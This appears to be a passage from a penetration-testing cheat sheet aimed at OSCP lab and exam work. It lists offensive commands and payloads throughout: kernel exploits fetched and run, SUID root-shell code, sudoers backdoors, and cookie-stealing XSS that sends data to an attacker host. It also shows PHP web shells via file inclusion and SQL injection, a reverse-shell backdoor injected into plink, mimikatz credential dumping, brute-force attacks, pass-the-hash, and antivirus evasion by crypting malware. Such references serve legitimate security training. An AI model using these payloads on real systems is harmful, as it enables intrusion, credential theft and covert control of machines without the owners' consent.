    [*https://github.com/reider-roque/linpostexp*](https://github.com/reider-roque/linpostexp)

-   CVE-2010-3904 - Linux RDS Exploit - Linux Kernel &lt;= 2.6.36-rc8  
    [*https://www.exploit-db.com/exploits/15285/*](https://www.exploit-db.com/exploits/15285/)

- CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 &lt; 3.2.2 (Gentoo
 / Ubuntu x86/x64) 
 [*https://git.zx2c4.com/CVE-2012-0056/about/*](https://git.zx2c4.com/CVE-2012-0056/about/) 
 Linux CVE 2012-0056 
 wget -O exploit.c <http://www.exploit-db.com/download/18411> 
 gcc -o mempodipper exploit.c 
 ./mempodipper

-   CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux
    Kernel &lt;= 3.19.0-73.8  
    [*https://dirtycow.ninja/*](https://dirtycow.ninja/)  
    First existed on 2.6.22 (released in 2007) and was fixed on Oct 18,
    2016  
    ./cow32  
    DirtyCow root privilege escalation  
    Backing up /usr/bin/passwd.. to /tmp/bak  
    Size of binary: 45420  
    Racing, this may take a while..  
    thread stopped  
    thread stopped  
    /usr/bin/passwd is overwritten  
    Popping root shell.

-   Run a command as a user other than root  
    sudo -u waldo /usr/bin/vim
    /etc/apache2/sites-available/000-default.conf

-   Add a user or change a password  
    /usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzor  
    echo thePassword | passwd haxzor --stdin

-   Local Privilege Escalation Exploit in Linux

-   **SUID** (**S**et owner **U**ser **ID** up on execution)  
        Often SUID C binary files are required to spawn a shell as a
        superuser, you can update the UID / GID and shell as required.  
          
        below are some quick copy and paste examples for various
        shells:  
          
        SUID C Shell for /bin/bash  
          
        int main(void){  
        setresuid(0, 0, 0);  
        system("/bin/bash");  
        }  
          
        SUID C Shell for /bin/sh  
          
        int main(void){  
        setresuid(0, 0, 0);  
        system("/bin/sh");  
        }  
          
        Building the SUID Shell binary  
        gcc -o suid suid.c  
        For 32 bit:  
        gcc -m32 -o suid suid.c

-   Create and compile an SUID from a limited shell (no file
        transfer)  
        echo "int main(void){\\nsetgid(0);
        setuid(0);\\nsystem(\\"/bin/sh\\");\\n}" &gt;privsc.c  
        gcc privsc.c -o privsc

-   Add users to Root SUDO group with no password requirement  
    echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:
    ALL" &gt;&gt; /etc/sudoers && chmod 440 /etc/sudoers' &gt;
    /tmp/update
    
 -   SearchSploit  
     searchsploit –uncsearchsploit apache 2.2  
     searchsploit "Linux Kernel"  
     searchsploit linux 2.6 | grep -i ubuntu | grep local  
     searchsploit slmail

-   Kernel Exploit Suggestions for Kernel Version 3.0.0  
     ./usr/share/linux-exploit-suggester/Linux\_Exploit\_Suggester.pl -k 3.0.0

-   Precompiled Linux Kernel Exploits  - ***Super handy if GCC is not installed on the target machine!***

[*https://www.kernel-exploits.com/*](https://www.kernel-exploits.com/)

-   Collect root password  
    cat /etc/shadow |grep root
    
-   Find and display the proof.txt or flag.txt - LOOT!
    `cat ``find / -name proof.txt -print```

-   Windows Privilege Escalation
    --------------------------------------------------------------------------------------------------------------------------

-   Windows Privilege Escalation resource
    http://www.fuzzysecurity.com/tutorials/16.html

-   Try the getsystem command using meterpreter - rarely works but is worth a try.
    `meterpreter > getsystem`

-   Metasploit Meterpreter Privilege Escalation Guide
    https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/

-   Windows MS11-080 - http://www.exploit-db.com/exploits/18176/  
    python pyinstaller.py --onefile ms11-080.py  
    mx11-080.exe -O XP
    
-   Powershell Priv Escalation Tools
    https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

-   Windows Service Configuration Viewer - Check for misconfigurations
    in services that can lead to privilege escalation. You can replace
    the executable with your own and have windows execute whatever code
    you want as the privileged user.  
    icacls scsiaccess.exe

> scsiaccess.exe  
> NT AUTHORITY\\SYSTEM:(I)(F)  
> BUILTIN\\Administrators:(I)(F)  
> BUILTIN\\Users:(I)(RX)  
> APPLICATION PACKAGE AUTHORITY\\ALL APPLICATION PACKAGES:(I)(RX)  
> Everyone:(I)(F)

-   Compile a custom add user command in windows using C  
    root@kali:~\# cat useradd.c  
    \#include &lt;stdlib.h&gt; /\* system, NULL, EXIT\_FAILURE \*/  
    int main ()  
    {  
    int i;  
    i=system ("net localgroup administrators low /add");  
    return 0;  
    }  
      
    i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c

-   Group Policy Preferences (GPP)  
    A common useful misconfiguration found in modern domain environments
    is unprotected Windows GPP settings files

-   map the Domain controller SYSVOL share  
        net use z: \\\\dc01\\SYSVOL

-   Find the GPP file: Groups.xml  
        dir /s Groups.xml

-   Review the contents for passwords  
        type Groups.xml

-   Decrypt using GPP Decrypt  
        gpp-decrypt
        riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB
        
-   Find and display the proof.txt or flag.txt - get the loot!
    `#meterpreter  >     run  post/windows/gather/win_privs`
    
    `cd\ & dir /b /s proof.txt`
    `type c:\pathto\proof.txt`

Client, Web and Password Attacks
==============================================================================================================================

- Client Attacks
 ------------------------------------------------------------------------------------------------------------

- MS12-037- Internet Explorer 8 Fixed Col Span ID 
 wget -O exploit.html
 <http://www.exploit-db.com/download/24017> 
 service apache2 start

-   JAVA Signed Jar client side attack  
        echo '&lt;applet width="1" height="1" id="Java Secure"
        code="Java.class" archive="SignedJava.jar"&gt;&lt;param name="1"
        value="http://$ip:80/evil.exe"&gt;&lt;/applet&gt;' &gt;
        /var/www/html/java.html  
        User must hit run on the popup that occurs.

-   Linux Client Shells  
        [*http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/*](http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/)

-   Setting up the Client Side Exploit

-   Swapping Out the Shellcode

-   Injecting a Backdoor Shell into Plink.exe  
        backdoor-factory -f /usr/share/windows-binaries/plink.exe -H $ip
        -P 4444 -s reverse\_shell\_tcp

- Web Attacks
 ---------------------------------------------------------------------------------------------------------

-   Web Shag Web Application Vulnerability Assessment Platform  
        webshag-gui

-   Web Shells  
        [*http://tools.kali.org/maintaining-access/webshells*](http://tools.kali.org/maintaining-access/webshells)  
        ls -l /usr/share/webshells/

-   Generate a PHP backdoor (generate) protected with the given
        password (s3cr3t)  
        weevely generate s3cr3t  
        weevely http://$ip/weevely.php s3cr3t

-   Java Signed Applet Attack

-   HTTP / HTTPS Webserver Enumeration

-   OWASP Dirbuster

-   nikto -h $ip

-   Essential Iceweasel Add-ons  
        Cookies Manager
        https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/  
        Tamper Data  
        https://addons.mozilla.org/en-US/firefox/addon/tamper-data/

-   Cross Site Scripting (XSS)  
        significant impacts, such as cookie stealing and authentication
        bypass, redirecting the victim’s browser to a malicious HTML
        page, and more

-   Browser Redirection and IFRAME Injection  
        &lt;iframe SRC="http://$ip/report" height = "0" width
        ="0"&gt;&lt;/iframe&gt;

-   Stealing Cookies and Session Information  
        &lt;script&gt;  
        new
        image().src="http://$ip/bogus.php?output="+document.cookie;  
        &lt;/script&gt;  
        nc -nlvp 80

-   File Inclusion Vulnerabilities 
    -----------------------------------------------------------------------------------------------------------------------------

-   Local (LFI) and remote (RFI) file inclusion vulnerabilities are
        commonly found in poorly written PHP code.

-   fimap - There is a Python tool called fimap which can be
        leveraged to automate the exploitation of LFI/RFI
        vulnerabilities that are found in PHP (sqlmap for LFI):  
        [*https://github.com/kurobeats/fimap*](https://github.com/kurobeats/fimap)

-   Gaining a shell from phpinfo()  
            fimap + phpinfo() Exploit - If a phpinfo() file is present,
            it’s usually possible to get a shell, if you don’t know the
            location of the phpinfo file fimap can probe for it, or you
            could use a tool like OWASP DirBuster.

-   For Local File Inclusions look for the include() function in PHP
        code.  
        include("lang/".$\_COOKIE\['lang'\]);  
        include($\_GET\['page'\].".php");

-   LFI - Encode and Decode a file using base64  
        curl -s
        http://$ip/?page=php://filter/convert.base64-encode/resource=index
        | grep -e '\[^\\ \]\\{40,\\}' | base64 -d

-   LFI - Download file with base 64 encoding  
        [*http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php*](about:blank)

-   LFI Linux Files:  
        /etc/issue  
        /proc/version  
        /etc/profile  
        /etc/passwd  
        /etc/passwd  
        /etc/shadow  
        /root/.bash\_history  
        /var/log/dmessage  
        /var/mail/root  
        /var/spool/cron/crontabs/root

-   LFI Windows Files:  
        %SYSTEMROOT%\\repair\\system  
        %SYSTEMROOT%\\repair\\SAM  
        %SYSTEMROOT%\\repair\\SAM  
        %WINDIR%\\win.ini  
        %SYSTEMDRIVE%\\boot.ini  
        %WINDIR%\\Panther\\sysprep.inf  
        %WINDIR%\\system32\\config\\AppEvent.Evt

-   LFI OSX Files:  
        /etc/fstab  
        /etc/master.passwd  
        /etc/resolv.conf  
        /etc/sudoers  
        /etc/sysctl.conf

-   LFI - Download passwords file  
        [*http://$ip/index.php?page=/etc/passwd*](about:blank)  
        [*http://$ip/index.php?file=../../../../etc/passwd*](about:blank)

-   LFI - Download passwords file with filter evasion  
        [*http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd*](about:blank)

-   Local File Inclusion - In versions of PHP below 5.3 we can
        terminate with null byte  
        GET
        /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00

-   Contaminating Log Files &lt;?php echo
        shell\_exec($\_GET\['cmd'\]);?&gt;

-   For a Remote File Inclusion look for php code that is not
        sanitized and passed to the PHP include function and the php.ini
        file must be configured to allow remote files
        /etc/php5/cgi/php.ini - “allow\_url\_fopen” and
        “allow\_url\_include both set to “on”  
        include($\_REQUEST\["file"\].".php");

-   Remote File Inclusion  
        [http://$ip/addguestbook.php?name=a&comment=b&LANG=http://$localip/evil.txt](http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evil.txt)  
        &lt;?php echo shell\_exec("ipconfig");?&gt;

- Database Vulnerabilities
 ----------------------------------------------------------------------------------------------------------------------

-   MySQL SQL

-   Grab password hashes from a web application mysql database
        called “Users” - once you have the MySQL root username and
        password  
        mysql -u root -p -h $ip  
        use "Users"  
        show tables;  
        select \* from users;

-   Authentication Bypass  
        name='wronguser' or 1=1;\#  
        name='wronguser' or 1=1 LIMIT 1;\#

-   Enumerating the Database  
        [http://$ip/comment.php?id=738](http://192.168.11.35/comment.php?id=738)’  
        Verbose error message?  
        http://$ip/comment.php?id=738 order by 1  
        http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6  
        Determine MySQL Version:  
        http://$ip/comment.php?id=738 union all select
        1,2,3,4,@@version,6  
        current user being used for the database connection  
        http://$ip/comment.php?id=738 union all select
        1,2,3,4,user(),6  
        we can enumerate database tables and column structures  
        http://$ip/comment.php?id=738 union all select
        1,2,3,4,table\_name,6 FROM information\_schema.tables  
        target the users table in the database  
        http://$ip/comment.php?id=738 union all select
        1,2,3,4,column\_name,6 FROM information\_schema.columns where
        table\_name='users'  
        extract the name and password  
        http://$ip/comment.php?id=738 union select
        1,2,3,4,concat(name,0x3a, password),6 FROM users  
        Create a backdoor  
        http://$ip/comment.php?id=738 union all select 1,2,3,4,"&lt;?php
        echo shell\_exec($\_GET\['cmd'\]);?&gt;",6 into OUTFILE
        'c:/xampp/htdocs/backdoor.php'

-   SQLMap Examples

> **Crawl the links**  
> sqlmap -u http://$ip --crawl=1  
> sqlmap -u http://meh.com --forms --batch --crawl=10
> --cookie=jsessionid=54321 --level=5 --risk=3  
> **SQLMap Search for databases against a suspected GET SQL Injection
> point ‘search’**  
> sqlmap –u http://$ip/blog/index.php?search –dbs
>
> **SQLMap dump tables from database oscommerce at GET SQL injection
> point ‘search’**  
> sqlmap –u http://$ip/blog/index.php?search= –dbs –D oscommerce –tables
> –dumps  
> **SQLMap GET Parameter command**  
> sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --dump
> -threads=5  
> **SQLMap Post Username parameter**  
> sqlmap -u http://$ip/login.php --method=POST
> --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3
> --level=5 --dbms=MySQL --dump-all  
> **SQL Map OS Shell**  
> sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --osshell  
> sqlmap -u http://$ip/login.php --method=POST
> --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3
> --level=5 --dbms=MySQL --os-shell  
> **Automated sqlmap scan**  
> sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE  
> --level=3 --current-user --current-db --passwords  
> --file-read="/var/www/blah.php"  
> **Targeted sqlmap scan**  
> sqlmap -u "http://meh.com/meh.php?id=1"  
> --dbms=mysql --tech=U --random-agent --dump  
> **Scan url for union + error based injection with mysql backend  
> and use a random user agent + database dump  
> **sqlmap -o -u http://$ip/index.php --forms --dbs  
> sqlmap -o -u "http://$ip/form/" --forms  
> sqlmap check form for injection  
> sqlmap -o -u "http://$ip/vuln-form" --forms  
> -D database-name -T users --dump  
> sqlmap dump and crack hashes for table users on database-name.
>
> Enumerate databases  
> sqlmap --dbms=mysql -u "$URL" --dbs  
> Enumerate tables from a specific database  
> sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables  
> Dump table data from a specific database and table  
> sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump  
> Specify parameter to exploit  
> sqlmap --dbms=mysql -u
> "http://www.example.com/param1=value1&param2=value2" --dbs -p param2  
> Specify parameter to exploit in 'nice' URIs  
> sqlmap --dbms=mysql -u
> "http://www.example.com/param1/value1\*/param2/value2" --dbs \#
> exploits param1  
> Get OS shell  
> sqlmap --dbms=mysql -u "$URL" --os-shell  
> Get SQL shell  
> sqlmap --dbms=mysql -u "$URL" --sql-shell  
> SQL query  
> sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT \*
> FROM $TABLE;"  
> Use Tor Socks5 proxy  
> sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL"
> --dbs

-   Password Attacks
    --------------------------------------------------------------------------------------------------------------

-   AES Decryption  
        http://aesencryption.net/

-   Convert multiple webpages into a word list  
        for x in 'index' 'about' 'post' 'contact' ; do curl
        http://$ip/$x.html | html2markdown | tr -s ' ' '\\n' &gt;&gt;
        webapp.txt ; done

-   Or convert html to word list dict  
        html2dic index.html.out | sort -u &gt; index-html.dict

-   Default Usernames and Passwords

-   CIRT  
            [*http://www.cirt.net/passwords*](http://www.cirt.net/passwords)

-   Government Security - Default Logins and Passwords for
            Networked Devices

-   [*http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php*](http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php)

-   Virus.org  
            [*http://www.virus.org/default-password/*](http://www.virus.org/default-password/)

-   Default Password  
            [*http://www.defaultpassword.com/*](http://www.defaultpassword.com/)

-   Brute Force

-   Nmap Brute forcing Scripts  
            [*https://nmap.org/nsedoc/categories/brute.html*](https://nmap.org/nsedoc/categories/brute.html)

-   Nmap Generic auto detect brute force attack  
            nmap --script brute -Pn &lt;target.com or ip&gt;
            &lt;enter&gt;

-   MySQL nmap brute force attack  
            nmap --script=mysql-brute $ip

-   Dictionary Files

-   Word lists on Kali  
            cd /usr/share/wordlists

-   Key-space Brute Force

-   crunch 6 6 0123456789ABCDEF -o crunch1.txt

-   crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha

-   crunch 8 8 -t ,@@^^%%%

-   Pwdump and Fgdump - Security Accounts Manager (SAM)

-   pwdump.exe - attempts to extract password hashes

-   fgdump.exe - attempts to kill local antiviruses before
            attempting to dump the password hashes and
            cached credentials.

-   Windows Credential Editor (WCE)

-   allows one to perform several attacks to obtain clear text
            passwords and hashes

-   wce -w

-   Mimikatz

-   extract plaintexts passwords, hash, PIN code and kerberos
            tickets from memory. mimikatz can also perform
            pass-the-hash, pass-the-ticket or build Golden tickets  
            [*https://github.com/gentilkiwi/mimikatz*](https://github.com/gentilkiwi/mimikatz)
            From metasploit meterpreter (must have System level access):
            `meterpreter> load mimikatz
            meterpreter> help mimikatz
            meterpreter> msv
            meterpreter> kerberos
            meterpreter> mimikatz_command -f samdump::hashes
            meterpreter> mimikatz_command -f sekurlsa::searchPasswords`

-   Password Profiling

-   cewl can generate a password list from a web page  
            `cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt`

-   Password Mutating

-   John the ripper can mutate password lists  
            nano /etc/john/john.conf  
            `john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt`

-   Medusa

-   Medusa, initiated against an htaccess protected web
            directory  
            `medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10`

-   Ncrack

-   ncrack (from the makers of nmap) can brute force RDP  
            `ncrack -vv --user offsec -P password-file.txt rdp://$ip`

-   Hydra

-   Hydra brute force against SNMP  
            `hydra -P password-file.txt -v $ip snmp`

-   Hydra FTP known user and password list  
            `hydra -t 1 -l admin -P /root/Desktop/password.lst -vV $ip ftp`

-   Hydra SSH using list of users and passwords  
            `hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh`

- Hydra SSH using a known password and a username list 
 `hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh`

- Hydra SSH Against Known username 
 `hydra $ip -s 62964 ssh -l <user> -P big\_wordlist.txt`

-   Hydra POP3 Brute Force  
            `hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V`

-   Hydra SMTP Brute Force  
            `hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V`

-   Hydra attack http get 401 login with a dictionary  
            `hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin`
            
        -   Hydra attack Windows Remote Desktop with rockyou
            `hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip`

- Password Hash Attacks
 -------------------------------------------------------------------------------------------------------------------

-   Online Password Cracking  
        [*https://crackstation.net/*](https://crackstation.net/)

-   Hashcat running on

-   Sample Hashes  
        [*http://openwall.info/wiki/john/sample-hashes*](http://openwall.info/wiki/john/sample-hashes)

-   Identify Hashes  
        hash-identifier

-   Crask linux hashes you must first unshadow them:  
        unshadow passwd-file.txt shadow-file.txt  
        unshadow passwd-file.txt shadow-file.txt &gt; unshadowed.txt

-   John the Ripper - Password Hash Cracking

-   john $ip.pwdump

-   john --wordlist=/usr/share/wordlists/rockyou.txt hashes

-   john --rules --wordlist=/usr/share/wordlists/rockyou.txt

-   john --rules --wordlist=/usr/share/wordlists/rockyou.txt
        unshadowed.txt

-   JTR forced descrypt cracking with wordlist  
        john --format=descrypt --wordlist  
        /usr/share/wordlists/rockyou.txt hash.txt

-   JTR forced descrypt brute force cracking  
        john --format=descrypt hash --show

-   Passing the Hash in Windows

-   Use Metasploit to exploit one of the SMB servers in the labs.
        Dump the password hashes and attempt a pass-the-hash attack
        against another system:  
          
        export
        SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896  
          
        pth-winexe -U administrator //$ip cmd

Networking, Pivoting and Tunneling
================================================================================================================================

-   Port Forwarding - accept traffic on a given IP address and port and
    redirect it to a different IP address and port

-   apt-get install rinetd

-   cat /etc/rinetd.conf  
        \# bindadress bindport connectaddress connectport  
        w.x.y.z 53 a.b.c.d 80

-   SSH Local Port Forwarding: supports bi-directional communication
    channels

-   ssh &lt;gateway&gt; -L &lt;local port to listen&gt;:&lt;remote
        host&gt;:&lt;remote port&gt;

-   SSH Remote Port Forwarding: Suitable for popping a remote shell on
    an internal non routable network

-   ssh &lt;gateway&gt; -R &lt;remote port to bind&gt;:&lt;local
        host&gt;:&lt;local port&gt;

-   SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local
    attacking box to tunnel ALL incoming traffic to ANY host in the DMZ
    network on ANY PORT

-   ssh -D &lt;local proxy port&gt; -p &lt;remote port&gt;
        &lt;target&gt;

-   Proxychains - Perform nmap scan within a DMZ from an external
    computer

-   Create reverse SSH tunnel from Popped machine on :2222  
        ssh -f -N -R 2222:$ip:22 root@$ip

-   Create a Dynamic application-level port forward on 8080 thru
        2222  
        ssh -f -N -D $ip:8080 -p 2222 hax0r@$ip

-   Leverage the SSH SOCKS server to perform Nmap scan on network
        using proxy chains  
        proxychains nmap --top-ports=20 -sT -Pn $ip/24

-   HTTP Tunneling  
    nc -vvn $ip 8888

-   Traffic Encapsulation - Bypassing deep packet inspection

-   http\_tunnel  
        On server side:  
        sudo hts -F &lt;server\_ip\_addr&gt;:&lt;port\_of\_your\_app&gt;
        80  
        On client side:  
        sudo htc -P &lt;my\_proxy.com:proxy\_port&gt; -F
        &lt;port\_of\_your\_app&gt; &lt;server\_ip\_addr&gt;:80  
        stunnel

-   Tunnel Remote Desktop (RDP) from a Popped Windows machine to your
    network

-   Tunnel on port 22  
        plink -l root -pw pass -R 3389:$ip:3389 $ip

-   Port 22 blocked? Try port 80? or 443?  
        plink -l root -pw 23847sd98sdf987sf98732 -R 3389:$ip:3389 $ip -P
        80

-   Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel
    (bypass deep packet inspection)

-   Windows machine add required firewall rules without prompting
        the user

-   netsh advfirewall firewall add rule name="httptunnel\_client"
        dir=in action=allow program="httptunnel\_client.exe" enable=yes

-   netsh advfirewall firewall add rule name="3000" dir=in
        action=allow protocol=TCP localport=3000

-   netsh advfirewall firewall add rule name="1080" dir=in
        action=allow protocol=TCP localport=1080

-   netsh advfirewall firewall add rule name="1079" dir=in
        action=allow protocol=TCP localport=1079

-   Start the http tunnel client  
        httptunnel\_client.exe

-   Create HTTP reverse shell by connecting to localhost port 3000  
        plink -l root -pw 23847sd98sdf987sf98732 -R 3389:$ip:3389 $ip -P
        3000

-   VLAN Hopping

-   git clone https://github.com/nccgroup/vlan-hopping.git  
        chmod 700 frogger.sh  
        ./frogger.sh

-   VPN Hacking

-   Identify VPN servers:  
        ./udp-protocol-scanner.pl -p ike $ip

-   Scan a range for VPN servers:  
        ./udp-protocol-scanner.pl -p ike -f ip.txt

- Use IKEForce to enumerate or dictionary attack VPN servers: 
 pip install pyip 
 git clone <https://github.com/SpiderLabs/ikeforce.git> 
 Perform IKE VPN enumeration with IKEForce: 
 ./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic 
 Bruteforce IKE VPN using IKEForce: 
 ./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w
 passwords.txt -s 1 
 Use ike-scan to capture the PSK hash: 
 ike-scan 
 ike-scan TARGET-IP 
 ike-scan -A TARGET-IP 
 ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key 
 ike-scan –M –A –n example\_group -P hash-file.txt TARGET-IP 
 Use psk-crack to crack the PSK hash 
 psk-crack hash-file.txt 
 pskcrack 
 psk-crack -b 5 TARGET-IPkey 
 psk-crack -b 5
 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
 192-168-207-134key 
 psk-crack -d /path/to/dictionary-file TARGET-IP-key

-   PPTP Hacking

-   Identifying PPTP, it listens on TCP: 1723  
        NMAP PPTP Fingerprint:  
        nmap –Pn -sV -p 1723 TARGET(S)  
        PPTP Dictionary Attack  
        thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

-   Port Forwarding/Redirection

-   PuTTY Link tunnel - SSH Tunneling

-   Forward remote port to local address:  
        plink.exe -P 22 -l root -pw "1337" -R 445:$ip:445 $ip

-   SSH Pivoting

-   SSH pivoting from one network to another:  
        ssh -D $ip:1010 -p 22 user@$ip

-   DNS Tunneling

-   dnscat2 supports “download” and “upload” commands for getting
        files (data and programs) to and from the target machine.

-   Attacking Machine Installation:  
        apt-get update  
        apt-get -y install ruby-dev git make g++  
        gem install bundler  
        git clone https://github.com/iagox86/dnscat2.git  
        cd dnscat2/server  
        bundle install

-   Run dnscat2:  
        ruby ./dnscat2.rb  
        dnscat2&gt; New session established: 1422  
        dnscat2&gt; session -i 1422

-   Target Machine:  
        https://downloads.skullsecurity.org/dnscat2/
        https://github.com/lukebaggett/dnscat2-powershell/  
        dnscat --host &lt;dnscat server\_ip&gt;

The Metasploit Framework
======================================================================================================================

-   See [*Metasploit Unleashed
    Course*](https://www.offensive-security.com/metasploit-unleashed/)
    in the Essentials

-   Search for exploits using Metasploit GitHub framework source code:  
    [*https://github.com/rapid7/metasploit-framework*](https://github.com/rapid7/metasploit-framework)  
    Translate them for use on OSCP LAB or EXAM.

-   Metasploit

-   MetaSploit requires Postfresql  
        systemctl start postgresql

-   To enable Postgresql on startup  
        systemctl enable postgresql

-   MSF Syntax

-   Start metasploit  
        msfconsole  
        msfconsole -q

-   Show help for command  
        show -h

-   Show Auxiliary modules  
        show auxiliary

-   Use a module  
        use auxiliary/scanner/snmp/snmp\_enum  
        use auxiliary/scanner/http/webdav\_scanner  
        use auxiliary/scanner/smb/smb\_version  
        use auxiliary/scanner/ftp/ftp\_login  
        use exploit/windows/pop3/seattlelab\_pass

-   Show the basic information for a module  
        info

-   Show the configuration parameters for a module  
        show options

-   Set options for a module  
        set RHOSTS $ip-254  
        set THREADS 10

-   Run the module  
        run

-   Execute an Exploit  
        exploit

-   Search for a module  
        search type:auxiliary login

-   Metasploit Database Access

-   Show all hosts discovered in the MSF database  
        hosts

-   Scan for hosts and store them in the MSF database  
        db\_nmap

-   Search machines for specific ports in MSF database  
        services -p 443

-   Leverage MSF database to scan SMB ports (auto-completed
        rhosts)  
        services -p 443 --rhosts

-   Staged and Non-staged

-   Non-staged payload - is a payload that is sent in its entirety
        in one go

-   Staged - sent in two parts  
        Not have enough buffer space  
        Or need to bypass antivirus

-   Experimenting with Meterpreter

-   Get system information from Meterpreter Shell  
        sysinfo

-   Get user id from Meterpreter Shell  
        getuid

-   Search for a file  
        search -f \*pass\*.txt

-   Upload a file  
        upload /usr/share/windows-binaries/nc.exe c:\\\\Users\\\\Offsec

-   Download a file  
        download c:\\\\Windows\\\\system32\\\\calc.exe /tmp/calc.exe

-   Invoke a command shell from Meterpreter Shell  
        shell

-   Exit the meterpreter shell  
        exit

-   Metasploit Exploit Multi Handler

-   multi/handler to accept an incoming reverse\_https\_meterpreter
        payload  
        use exploit/multi/handler  
        set PAYLOAD windows/meterpreter/reverse\_https  
        set LHOST $ip  
        set LPORT 443  
        exploit  
        \[\*\] Started HTTPS reverse handler on https://$ip:443/

-   Building Your Own MSF Module

-   mkdir -p ~/.msf4/modules/exploits/linux/misc  
        cd ~/.msf4/modules/exploits/linux/misc  
        cp
        /usr/share/metasploitframework/modules/exploits/linux/misc/gld\_postfix.rb
        ./crossfire.rb  
        nano crossfire.rb

-   Post Exploitation with Metasploit

-   download Download a file or directory  
        upload Upload a file or directory  
        portfwd Forward a local port to a remote service  
        route View and modify the routing table  
        keyscan\_start Start capturing keystrokes  
        keyscan\_stop Stop capturing keystrokes  
        screenshot Grab a screenshot of the interactive desktop  
        record\_mic Record audio from the default microphone for X
        seconds  
        webcam\_snap Take a snapshot from the specified webcam  
        getsystem Attempt to elevate your privilege to that of local
        system.  
        hashdump Dumps the contents of the SAM database

-   Meterpreter Post Exploitation Features

-   Create a Meterpreter background session  
        background

Bypassing Antivirus Software 
===========================================================================================================================

-   Crypting Known Malware with Software Protectors

-   One such open source crypter, called Hyperion  
        cp /usr/share/windows-binaries/Hyperion-1.0.zip  
        unzip Hyperion-1.0.zip  
        cd Hyperion-1.0/  
        i686-w64-mingw32-g++ Src/Crypter/\*.cpp -o hyperion.exe  
        cp -p
        /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc\_s\_sjlj-1.dll
        .  
        cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-6.dll
        .  
        wine hyperion.exe ../backdoor.exe ../crypted.exe

- Using Custom/Uncommon Tools and Payloads

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